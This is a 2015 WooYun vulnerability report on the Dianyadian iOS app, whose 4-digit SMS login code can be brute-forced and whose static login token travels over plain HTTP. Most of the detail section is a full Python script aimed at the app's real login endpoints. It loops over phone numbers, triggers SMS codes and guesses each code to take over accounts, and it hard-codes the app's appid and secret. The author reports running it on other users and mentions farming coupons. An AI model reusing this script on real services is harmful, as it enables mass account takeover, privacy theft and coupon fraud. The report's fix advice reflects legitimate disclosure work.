当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110375

漏洞标题:点呀点IOS APP 手机号登录验证码存在暴力破解缺陷

相关厂商:点呀点

漏洞作者: xe_tko

提交时间:2015-05-06 14:23

修复时间:2015-06-20 14:24

公开时间:2015-06-20 14:24

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

我目前发现两个问题
1、手机验证码 存在暴力破解攻击,目前验证码为4位,而且次数限制不到位,可 穷举爆破
2、用户的登录成功以后,server会返回一个token,这个token就是以后权限判断的依据,有效期是1个月,而且每次都是固定不变的,卸载APP重装也是一样的。截获到这个token,就可以查看用户的信息,包括订单信息,地址信息等,由于目前的通信基于HTTP,所以存在这种风险
好像这个缺陷有点鸡肋呵呵

详细说明:

我听同事推荐说有这么个APP,可以订水果,而且还有优惠券和首次注册红包,于是就下载用用,自己是个安全工程师,所以下意识的就看看有木有漏洞,能不能免费吃一次水果(码农都很苦逼。。。。哈哈),本想着看看支付流程有木有漏洞,看看能不能绕过(以前就看到乌云上有大牛提到过多次这方面的漏洞),不花钱吃水果,可惜,没发现(看来和钱有关的都留神了。。。),然后又接着倒腾,,,结果发现登录这块存在暴力破解的缺陷,于是有了下面的内容
1、首先拿出我的神器Burpsuite,先正儿八经的注册个账户,了解整个通信流程,,,
主要的两个接口
接口1 :http://capi.dianyadian.com/User/GetCustomerLoginSMS --- 这个是向后台发送手机号,然后后台会根据这个手机号发送验证码
接口2: http://capi.dianyadian.com/OAuth/tokenNewVersion --- 登录接口,有两个主要的参数,一个书username ,就是手机号,一个是password,就是验证码
其他比如
http://capi.dianyadian.com/Common/FGetUserAmountInfo -- 获取用户账户信息,比如优惠券数量,钱包余额等
http://capi.dianyadian.com/Order/FSubmitOrderDetails ---定单信息
当然还有其他的,比如修改订单信息接口,修改地址接口等,在这里面不一一列举了
2、开始爆破
了解完流程之后,开始爆破
方法1,使用工具burpsuite
先发用一个手机号给server,然后截获登录请求,发送到burpsuite的Intrude模块,进行暴力穷举

burpsuite.jpg


第318次爆破成功,登录成功,获取到登录凭据token

ok.png


查看这个新爆破的用户信息,ok,没问题
方法2: 我自己写个脚本跑
用python 写了个程序爆破

#!/usr/bin/env python
#-*- coding:utf8 -*-
__author__ = "wenjian"
__date__ = "2015-4-25"
import itertools
import sys
import os
import requests
import BeautifulSoup
base_phone = "1861893"
def generator_phone_num():
"""
生成手机号后四位
"""
phone_num = []
for num in list(itertools.product("0123456789",repeat=4)):
phone_num.append("".join(num))
return phone_num
def generator_code_num():
"""
生成验证码,保存在list对象中,共计10000中组合
"""
code_num = []
for num in list(itertools.product("0123456789",repeat=4)):
code_num.append("".join(num))
return code_num

def send_sms(phone):
"""
发送SMS请求
"""
headers = {'User-Agent':'dianyadian-web/22102 (iPhone; iOS 7.1.2; Scale/2.00)','Accept-Language':'z=1, en;q=0.9, fr;q=0.8, de;q=0.7, ja;q=0.6, nl;q=0.5','Content-Type':'application/x-www-form-urlencoded','Accept-Encoding':'gzip, deflate','Accept':'*/*'}
payload = {'dqbm':'330100','dydphonedevice':'iPhone(iPhone OS 7.1.2)','dydphoneversion':'2.2.1(22102)','dyduniquetag':'324df0b30217b515153396cffeb03cebc3d66e9b','imei':'324df0b30217b515153396cffeb03cebc3d66e9b','mobile':phone,'type':'0','version':'2.0'}
try:
r = requests.post("http://capi.dianyadian.com/User/GetCustomerLoginSMS", data=payload,headers=headers)
except:
print "发送SMS出现异常"
return False
if (r.json()['code'] == 1):
print "短信响应码: ",r.json()['code'],r.json()['msg']
return True
else:
print "短信响应码: ",r.json()['code'],r.json()['msg']
return False
def send_code_request(phone,code,try_times):
"""
发送code 验证请求
"""
headers = {'User-Agent':'dianyadian-web/22102 (iPhone; iOS 7.1.2; Scale/2.00)','Accept-Language':'z=1, en;q=0.9, fr;q=0.8, de;q=0.7, ja;q=0.6, nl;q=0.5','Content-Type':'application/x-www-form-urlencoded','Accept-Encoding':'gzip, deflate','Accept':'*/*'}
payload = {'appid':'yijovzaa67djtyov','appsecret':'f5ed16cfa6e842a1aa1322ad04a2c99a','clientorigin':'0','devicetype':'4','dqbm':'330100','dydphonedevice':'iPhone(iPhone OS 7.1.2)','dydphoneversion':'2.2.1(22102)','dyduniquetag':'324df0b30217b515153396cffeb03cebc3d66e9b','imei':'324dfss0b30217b515153396cffeb03cebc3d66e9b','invitecode':'217299','nickname':'','password':code,'serial':'d6d0ddf5688db4dc7acb2dc9355ff87d12b074c574ee07fb75e2beb2ad5f8c05','state':'','username':phone,'version':'2.0'}
try:
r = requests.post("http://capi.dianyadian.com/OAuth/tokenNewVersion",data=payload,headers=headers)
except:
print "发送出现异常......"
return False
if (r.json()['code'] == 1):
print "这是第",try_times,"次尝试","验证码响应结果: ",r.json()['code'],r.json()['msg'],"手机号: ",phone,"tokenID",r.json()['token']['token']
print r.json()
return True
else:
print "这是第",try_times,"次尝试",r.json()['code'],r.json()['msg']
return False
if __name__ == "__main__":
phone_num_list = generator_phone_num()
code_num_list = generator_code_num()
for phone_num in phone_num_list:
phone = base_phone + str(phone_num)
if send_sms(phone):
print "短信发送成功,开始猜验证码......"
for try_times,code in enumerate(code_num_list,start=1):
if send_code_request(phone,code,try_times):
break
else:
continue
else:
print "短信发送失败,尝试下一个手机号......"
continue
print "exploit over ......"


然后怒跑了一下,贴一下部分成果
<img src="http://ww2.sinaimg.cn/large/00659iwsgw1eri5vm2bekj31hc0u0kac.jpg" alt="ok.png" />
<img src="http://ww2.sinaimg.cn/large/00659iwsgw1eri5vd79ggj31hc0u0h4o.jpg" alt="ok.png" />
<img src="http://ww2.sinaimg.cn/large/00659iwsgw1eri5tsighfj31hc0u04i2.jpg" alt="ok.png" />
好像这样可以骗优惠券,然后APP又说只要邀请成功且下单,然后我还有奖励,不错,,
<img src="http://ww3.sinaimg.cn/large/00659iwsgw1eri60sjn80j30hs0vk78r.jpg" alt="ok.png" />
<img src="http://ww1.sinaimg.cn/large/00659iwsgw1eri62g7izaj30d30oqn0k.jpg" alt="ok.png" />
补充:第一次在乌云提漏洞,好紧张

漏洞证明:

<img src="http://ww2.sinaimg.cn/large/00659iwsgw1eri5tsighfj31hc0u04i2.jpg" alt="" />

修复方案:

对于登录验证码暴力破解缺陷:
1、增加验证码长度,比如6位
2、对手机号 验证码失败次数做个限制,要限制好!
3、验证码下手机号真伪

版权声明:转载请注明来源 xe_tko@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝